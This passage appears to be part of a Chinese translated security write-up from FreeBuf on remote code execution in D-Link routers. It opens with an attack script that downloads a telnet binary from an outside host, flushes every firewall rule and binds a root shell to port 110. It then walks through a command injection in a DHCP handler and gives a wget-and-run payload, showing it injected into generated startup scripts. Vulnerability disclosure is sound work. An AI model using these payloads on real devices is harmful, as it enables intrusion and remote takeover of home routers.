drwxr-xr-x
wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
/var/telnetd-dhcpd-wan -l /bin/sh -p 110 &
还有一些WAN RCEs，首先第一个就是 /etc/services/INET/inet_ipv4.php存在漏洞
$udhcpc_helper
= “/var/servd/”.$inf.”-udhcpc.sh”;
101行之后存在命令注入漏洞
fwrite(w,$udhcpc_helper,
'#!/bin/sh\n'.
'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... & /dev/console\n'.
'phpsh '.$hlper.' ACTION=$1'.
' INF='.$inf.
' INET='.$inet.
' MTU='.$mtu.
' INTERFACE=$interface'.
' IP=$ip'.
' SUBNET=$subnet'.
' BROADCAST=$broadcast'.
' LEASE=$lease'.
' "DOMAIN=$domain"'.
' "ROUTER=$router"'.
' "DNS='.$dns.'$dns"'.
' "CLSSTROUT=$clsstrout"'.
' "MSCLSSTROUT=$msclsstrout"'.
' "SSTROUT=$sstrout"'.
' "SCOPE=$scope"'.
' "WINSTYPE=$winstype"'.
' "WINS=$wins"'.
' "SIXRDPFX=$sixrd_prefix"'.
' "SIXRDPLEN=$sixrd_prefixlen"'.
' "SIXRDMSKLEN=$sixrd_msklen"'.
' "SIXRDBRIP=$sixrd_bripaddr"'.
' "SDEST=$sdest"'.
' "SSUBNET=$ssubnet"'.
' "SROUTER=$srouter"\n'.
'exit 0\n'
用;wget -O /var/ sh /var/ 可以注入对 /var/servd/ 下一些生成的文件进行注入。
# cat /var/servd/DHCPS4.LAN-1_start.sh
rm -f /var/servd/LAN-1-udhcpd.lease
xmldbc -X /runtime/inf:1/dhcps4/leases
xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100
xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199
xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1
xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:1/dhcps4/pool/wget -O /var/re http://10.254.239.1/dhcp- sh /var/ &--- command injection
xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1
event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease"
udhcpd /var/servd/LAN-1-udhcpd.conf &
# cat /var/servd/DHCPS4.LAN-2_start.sh
rm -f /var/servd/LAN-2-udhcpd.lease
xmldbc -X /runtime/inf:2/dhcps4/leases
xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100
xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199
xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1
xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:2/dhcps4/pool/wget -O /var/re http://10.254.239.1/dhcp- sh /var/ &--- command injection
xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1
event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease"
udhcpd /var/servd/LAN-2-udhcpd.conf &
*本文译者：ang010ela，参考资料，转载请注明来自FreeBuf.COM
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